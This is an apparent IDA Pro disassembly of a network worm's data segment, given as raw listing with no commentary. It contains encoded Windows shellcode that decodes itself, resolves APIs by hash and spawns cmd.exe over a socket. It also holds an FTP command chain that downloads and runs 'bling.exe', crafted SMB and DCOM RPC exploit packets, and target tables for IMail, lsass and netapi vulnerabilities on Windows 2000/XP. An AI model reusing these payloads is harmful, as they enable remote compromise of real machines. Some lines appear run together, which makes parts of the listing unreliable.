dword_444D1C	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0					; seg000:0040AF2Co
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_444D68	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40AAF6+EBo
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4450CC	dd 20h,	0			dd 20h,	5C005Ch, 0
off_4450E0	dd offset loc_43005B+1	; DATA XREF: sub_40AAF6+125o
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
dword_445120	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40AAF6+18o
					; sub_40AAF6+59o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dw 0FFFFh
		dw 0FFFFh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		dd 0
aRrrrrrrrrrrr_0	db ''
		db ''
		db '',0
dword_445230	dd 10016C6h	; ---------------------------------------------------------------------------


loc_445234:				; DATA XREF: sub_40AAF6+C3o
		popf
		adc	eax, [eax]


loc_445237:				; DATA XREF: sub_40AAF6+37o
		add	[ecx], esi
		leave
		sub	ecx, 0FFFFFFB0h
		fldz
		fnstenv	byte ptr [esp-0Ch]
		pop	ebx


loc_445244:				; CODE XREF: seg002:0044524Ej
		xor	dword ptr [ebx+13h], 13778D2Bh
		sub	ebx, 0FFFFFFFCh
		loop	loc_445244
		xlat
; ---------------------------------------------------------------------------
		db 0E7h, 9Ch, 5Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 74h,	88h, 0ECh
dword_445258	dd 7FFCEDD4h, 56FCA90Fh, 160B0617h, 98988C53h, 4CFC9564h
		dd 5A9C8C0Bh, 12FCB9A0h, 8AB7BCC5h, 67B70987h, 1EBD4C2Ch
		dd 0E79C4F2Ah, 3B53D910h, 4CFC685Eh, 759C8C0Fh,	983C81A0h
		dd 0F8769174h, 9AFCA128h, 726BA947h, 77ACBCE8h,	9847CEA0h
		dd 63FC816Bh, 53FC2037h, 9D1FD323h, 439B8365h, 40115BD4h
		dd 2144E54Dh, 2104FA43h, 0C388D974h, 0EF9A4643h, 0C588DD10h
		dd 75920474h, 117F60AAh, 0EC75E77Eh, 1AAEE5FBh,	0EC2020DEh
		dd 4024DEFDh, 4034DE78h, 0C388DE68h, 0D470E54Dh, 0F2FEDE4Dh
		dd 9D3E5BEh, 0EC204A5Bh, 4267E7FDh, 7BA7727Eh, 0FA59208Fh
		dd 40A1727Ch, 7BA7727Eh, 5AF1C4CEh, 43A1727Ch, 0EC22D97Fh
		dd 0F41F1EFBh, 440E4B52h, 0EC225BD4h, 771DEBFBh, 7E14E54Dh
		dd 431D68A2h, 9ABBA472h, 9A33E7CCh, 0E0B7BCC9h,	3E357381h
		dd 805BCFD5h, 0B84FF7A6h, 611F2680h, 0EC613ED5h, 0C588C95Eh
		dd 4225DA70h, 121DDC7Ah, 4222DC7Ah, 0BE1F5DD4h,	40B988F2h
		dd 0EC1D5BD4h, 0C388BAD4h, 908BDAA0h, 0C588E9EFh, 7BA77279h
		dd 4C7307DBh, 0ECA17278h, 13778DFBh, 0
off_445394	dd offset dword_49005C	; DATA XREF: sub_40A958+Co
		dd offset loc_43004F+1
		dd 24h
asc_4453A0:				; DATA XREF: sub_40A958+1Co
		unicode	0, <\\>,0
		align 4
off_4453A8	dd offset dword_49005C	; DATA XREF: sub_40AA3E+Bo
		dd offset loc_43004F+1
		dd 24h
asc_4453B4:				; DATA XREF: sub_40AA3E+16o
		unicode	0, <\\>,0
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: seg000:0040AD52o
		align 10h
dword_4453D0	dd 2016280h, 100BDh, 8F160001h,	182h, 0; ---------------------------------------------------------------------------


loc_4453E4:				; DATA XREF: seg000:0040B09Fo
		jmp	short loc_44540B
; ---------------------------------------------------------------------------
word_4453E6	dw 0FAE9h		; DATA XREF: seg000:0040B085o
dword_4453E8	dd 0F677D399h, 596C0602h, 1DF8596Ch, 0D18CDE9Ch, 3D4704Ch
					; DATA XREF: seg000:0040B095o
		dd 53574658h, 32335F32h, 4C4C442Eh
		db 1
; ---------------------------------------------------------------------------


loc_445409:				; CODE XREF: seg002:loc_44540Bp
		jmp	short loc_445410
; ---------------------------------------------------------------------------


loc_44540B:				; CODE XREF: seg002:loc_4453E4j
		call	loc_445409


loc_445410:				; CODE XREF: seg002:loc_445409j
		pop	ebp
		sub	ebp, 2Ch
		push	30h
		pop	ecx
		mov	eax, fs:[ecx]
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	edi, [eax+8]


loc_445424:				; CODE XREF: seg002:004454A0j
		lea	ebx, [edi+3Ch]
		mov	ebx, [ebx]
		add	ebx, edi
		mov	ebx, [ebx+78h]
		add	ebx, edi
		mov	ecx, [ebx+1Ch]
		add	ecx, edi
		mov	edx, [ebx+24h]
		add	edx, edi
		push	ebx
		push	ecx
		push	edx
		mov	ebx, [ebx+20h]
		add	ebx, edi
		xor	ecx, ecx


loc_445444:				; CODE XREF: seg002:00445461j
					; seg002:00445484j
		inc	ecx
		xor	eax, eax
		cdq
		mov	esi, [ebx+ecx*4]
		add	esi, edi


loc_44544D:				; CODE XREF: seg002:00445454j
		lodsb
		xor	edx, eax
		shl	edx, 1
		test	al, al
		jnz	short loc_44544D
		movzx	eax, byte ptr [ebp+9]
		lea	eax, [ebp+eax*2+8]
		cmp	[eax], dx
		jnz	short loc_445444
		xor	[eax], dx
		pop	edx
		pop	eax
		pop	esi
		push	esi
		push	eax
		push	edx
		sub	ecx, [esi+10h]
		inc	ecx
		movzx	ecx, word ptr [edx+ecx*2]
		mov	eax, [eax+ecx*4]
		add	eax, edi
		movzx	ecx, byte ptr [ebp+9]
		mov	[ebp+ecx*4-28h], eax
		dec	byte ptr [ebp+9]
		jnz	short loc_445444
		dec	byte ptr [ebp+8]
		jz	short loc_4454A2
		dec	byte ptr [ebp+24h]
		lea	ebx, [ebp+1Ah]
		push	ebx
		call	eax
		mov	edi, eax
		push	2
		pop	eax
		mov	[ebp+9], al
		add	byte ptr [ebp+79h], 0Ch
		jmp	short loc_445424
; ---------------------------------------------------------------------------


loc_4454A2:				; CODE XREF: seg002:00445489j
		push	eax
		mov	eax, [ebp+4]
		xor	eax, 93939393h
		mov	[ebp+4], eax
		mov	ax, [ebp+2]
		xor	ax, 9393h
		mov	[ebp+2], ax
		pop	eax
		mov	esi, ecx
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	esi
		inc	esi
		push	esi
		call	eax
		mov	edi, eax
		push	ebp
		pop	eax
		mov	[eax], si
		push	10h
		push	ebp
		push	edi
		call	dword ptr [ebp-20h]
		lea	eax, [ebp-78h]
		push	eax
		call	dword ptr [ebp-18h]
		push	ebp
		push	ebp
		call	dword ptr [ebp-14h]
		lea	eax, [ebp+eax+0Ch]
		xchg	eax, esp
		push	ebx
		push	6578652Eh
		push	646D635Ch
		xchg	eax, esp
		xor	edx, edx
		lea	eax, [ebp-34h]
		xchg	eax, esp
		push	edi
		push	edi
		push	edi
		push	ebx
		push	ebx
		dec	dl
		add	edx, esi
		push	edx
		xchg	eax, esp
		lea	eax, [ebp+78h]
		push	eax
		lea	eax, [ebp-78h]
		push	eax
		mov	cl, 8
		push	ebx
		push	ebx
		push	10h
		dec	dh
		push	edx
		push	ebx
		push	ebx
		push	ebx
		push	ebp
		call	dword ptr [ebp-10h]
		push	0FFFFFFFFh
		call	dword ptr [ebp-1Ch]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_445524:				; DATA XREF: seg000:0040B021o
		jmp	short loc_445535
; ---------------------------------------------------------------------------
		align 4


loc_445528:				; DATA XREF: seg000:0040B02Co
		push	esp
		dec	eax
		inc	ebx
		dec	edi
		push	edi
		dec	esi
		pop	edx
		dec	ecx
		dec	ecx
		push	ebx
		and	[eax], eax


loc_445534:				; DATA XREF: seg000:0040B241o
		popa


loc_445535:				; CODE XREF: seg002:loc_445524j
		xor	[ecx], dh
		and	[edi+ecx*2+47h], cl
		dec	ecx
		dec	esi
		and	[edx], ah
		add	es:[eax], al
; ---------------------------------------------------------------------------
		dw 0
dword_445544	dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah
					; DATA XREF: seg000:0040B251o
		dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh,	39943EC4h
		dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h,	7D942E6Bh
		dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh
		dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh,	0F59436E3h
		dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h,	3C94B7FCh
		dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h,	4E6C6D88h
		dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h
		dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h
		dd 14CFE5B3h
dword_4455FC	dd 7D1F1A9Fh			db 86h,	72h
word_445602	dw 0AE1Bh		; DATA XREF: seg000:0040B220o
		dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h
		dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h
		dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h
		dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h
		dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh,	8366DC99h
		dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h
		dd 0
; ---------------------------------------------------------------------------


loc_445680:				; DATA XREF: seg000:0040B2EBo
					; seg000:0040B31Do ...
		jmp	short loc_445686
; ---------------------------------------------------------------------------
		align 4


loc_445684:				; DATA XREF: seg000:0040B2FCo
		jmp	short near ptr dword_445688
; ---------------------------------------------------------------------------


loc_445686:				; CODE XREF: seg002:loc_445680j
		add	[eax], edx
; ---------------------------------------------------------------------------
dword_445688	dd 0		dword_44568C	dd 100103BBh, 0	; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 8, 1, 10h
		dd 0
dword_44569C	dd 100102D9h, 0	dword_4456A4	dd 1001031Bh, 0	dword_4456AC	dd 10010269h, 0	dword_4456B4	dd 10010296h, 0	dword_4456BC	dd 100102E2h, 0	dword_4456C4	dd 100102E2h, 0	dword_4456CC	dd 100102E2h, 0	dword_4456D4	dd 100102E2h, 0	dword_4456DC	dd 10010302h, 0	dword_4456E4	dd 100249D4h, 0	dword_4456EC	dd 1001D9BBh, 0	dword_4456F4	dd 100218E6h, 0	dword_4456FC	dd 10021782h, 0	dword_445704	dd 10021A51h, 0	dword_44570C	dd 10021A51h, 0	dword_445714	dd 10021A62h, 0	; ---------------------------------------------------------------------------


loc_44571C:				; DATA XREF: seg000:0040B262o
		jmp	short loc_44572D
; ---------------------------------------------------------------------------


loc_44571E:				; CODE XREF: seg002:loc_44572Dp
		pop	ebx
		xor	ecx, ecx
		sub	cx, 0FFE0h


loc_445725:				; CODE XREF: seg002:00445729j
		xor	byte ptr [ebx],	55h
		inc	ebx
		loop	loc_445725
		jmp	short near ptr word_445732
; ---------------------------------------------------------------------------


loc_44572D:				; CODE XREF: seg002:loc_44571Cj
		call	loc_44571E
; ---------------------------------------------------------------------------
word_445732	dw 0BB8Ch		; CODE XREF: seg002:0044572Bj
		dd 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h, 0B4AAh
dword_445748	dd 57222022h, 6E773065hdword_445750	dd 0A0D22h	aImail		db 'IMail',0            ; DATA XREF: seg000:0040B2BFo
		align 4
a7_04		db '7.04',0             ; DATA XREF: seg000:0040B2D9o
		align 4
a7_05		db '7.05',0             ; DATA XREF: seg000:loc_40B30Bo
		align 4
a7_06		db '7.06',0             ; DATA XREF: seg000:loc_40B335o
		align 4
a7_07		db '7.07',0             ; DATA XREF: seg000:0040B346o
		align 4
a7_10		db '7.10',0             ; DATA XREF: seg000:loc_40B370o
		align 4
a7_11		db '7.11',0             ; DATA XREF: seg000:0040B381o
		align 4
a7_12		db '7.12',0             ; DATA XREF: seg000:loc_40B3AEo
		align 4
a7_13		db '7.13',0             ; DATA XREF: seg000:loc_40B3DBo
		align 4
a7_14		db '7.14',0             ; DATA XREF: seg000:0040B3ECo
		align 4
a7_15		db '7.15',0             ; DATA XREF: seg000:loc_40B419o
		align 4
a8_00		db '8.00',0             ; DATA XREF: seg000:loc_40B446o
		align 4
a8_01		db '8.01',0             ; DATA XREF: seg000:loc_40B473o
		align 4
a8_02		db '8.02',0             ; DATA XREF: seg000:loc_40B4A0o
		align 4
a8_03		db '8.03',0             ; DATA XREF: seg000:loc_40B4CDo
		align 4
a8_04		db '8.04',0             ; DATA XREF: seg000:loc_40B4FAo
		align 4
a8_05		db '8.05',0             ; DATA XREF: seg000:loc_40B527o
		align 4
a8_10		db '8.10',0             ; DATA XREF: seg000:loc_40B554o
		align 4
a8_11		db '8.11',0             ; DATA XREF: seg000:loc_40B581o
		align 4
a8_12		db '8.12',0             ; DATA XREF: seg000:loc_40B5ABo
		align 4
a8_13		db '8.13',0             ; DATA XREF: seg000:loc_40B5D5o
		align 4
a8_14		db '8.14',0             ; DATA XREF: seg000:loc_40B5FFo
		align 4
a8_15		db '8.15',0             ; DATA XREF: seg000:loc_40B639o
		align 4
aHotfix2	db 'hotfix2',0          ; DATA XREF: seg000:loc_40B663o
a4_0		db '4.0',0              ; DATA XREF: seg000:loc_40B67Fo
a5_0		db '5.0',0              ; DATA XREF: seg000:0040B690o
a6_0		db '6.0',0              ; DATA XREF: seg000:0040B6A1o
a7_0		db '7.0',0              ; DATA XREF: seg000:0040B6B2o
aImail_0	db 'IMail',0            ; DATA XREF: seg000:loc_40B6C3o
		align 4
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40B7F9+42o
		db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0
		align 4
aBling_exe	db 'bling.exe',0Dh,0Ah,0 ; DATA XREF: sub_40B7F9+85o
; ---------------------------------------------------------------------------


loc_445898:				; DATA XREF: sub_40BEAB+17Eo
					; sub_40BEAB+23Ao
		jmp	short loc_4458AA

; =============== S U B	R O U T	I N E =======================================



sub_44589A	proc far		; CODE XREF: sub_44589A:loc_4458AAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4458A2:				; CODE XREF: sub_44589A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4458A2
		jmp	short loc_4458AF
; ---------------------------------------------------------------------------


loc_4458AA:				; CODE XREF: seg002:loc_445898j
		call	near ptr sub_44589A


loc_4458AF:				; CODE XREF: sub_44589A+Ej
		jo	short loc_445913
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445931
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h
		db 12h,	41h, 0F1h
byte_445907	db 0E6h			; DATA XREF: sub_40BEAB+12Do
; ---------------------------------------------------------------------------
		cdq
		cdq
		cwde
		icebp
		wait
		cdq


loc_44590E:				; DATA XREF: sub_40BEAB+11Do
		popf
		dec	ebx
		adc	dl, [ebp-0Dh]


loc_445913:				; CODE XREF: sub_44589A:loc_4458AFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445931:				; CODE XREF: sub_44589A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_44589A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0CA91h
		dd 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh,	0EB12CB4Ch
		dd 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh
		dd 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h
		dd 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h
		dd 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h,	0A2657452h
		dd 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4459D8:				; DATA XREF: sub_40B8D0+156o
					; sub_40B8D0+212o
		jmp	short loc_4459EA

; =============== S U B	R O U T	I N E =======================================



sub_4459DA	proc near		; CODE XREF: sub_4459DA:loc_4459EAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4459E2:				; CODE XREF: sub_4459DA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4459E2
		jmp	short loc_4459EF
; ---------------------------------------------------------------------------


loc_4459EA:				; CODE XREF: seg002:loc_4459D8j
		call	sub_4459DA


loc_4459EF:				; CODE XREF: sub_4459DA+Ej
		jo	short near ptr dword_445964+22h
		cwde
		cdq
		cdq
		retn
sub_4459DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_445A88	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40B8D0+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_445B70	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: seg000:0040BD8Bo
					; seg000:0040C364o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_445BFC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: seg000:0040BDB7o
					; seg000:0040C390o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_445CA8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: seg000:0040BDDEo
					; seg000:0040C3B7o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_445D88	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B8D0+58o
					; sub_40BEAB+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_5:					; DATA XREF: sub_40B8D0+8Ao
					; sub_40BEAB+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_445DEC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B8D0+2AAo
					; sub_40BEAB+2CFo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_445E58	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B8D0+2D1o
					; sub_40BEAB+2FAo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_445EFC	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B8D0+3B0o
					; sub_40BEAB+3DDo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_445F7C	dd offset loc_401492+3	; DATA XREF: sub_40B8D0+3DEo
					; sub_40BEAB+40Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446010	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B8D0+306o
					; sub_40BEAB+333o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_44607C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B8D0+331o
					; sub_40BEAB+35Eo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_4460F0	dd 0							; sub_40BEAB+38Co
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
dword_446178	dd 0AD9Dh						; sub_40B8D0+41Ar
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_4461B8	dd 1004600h						; sub_40B8D0+245r ...
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_446270	dd 1CEC8166h	dword_446274	dd 0E4FF07h	dword_446278	dd 73255C5Ch, 6370695Ch, 24hdword_446284	dd 6EB06EBh, 0	dword_44628C	dd 1CEC8166h	dword_446290	dd 0E4FF07h	dword_446294	dd 73255C5Ch, 6370695Ch, 24h; ---------------------------------------------------------------------------


loc_4462A0:				; DATA XREF: sub_40BEAB+19Fo
		jmp	short loc_4462A8
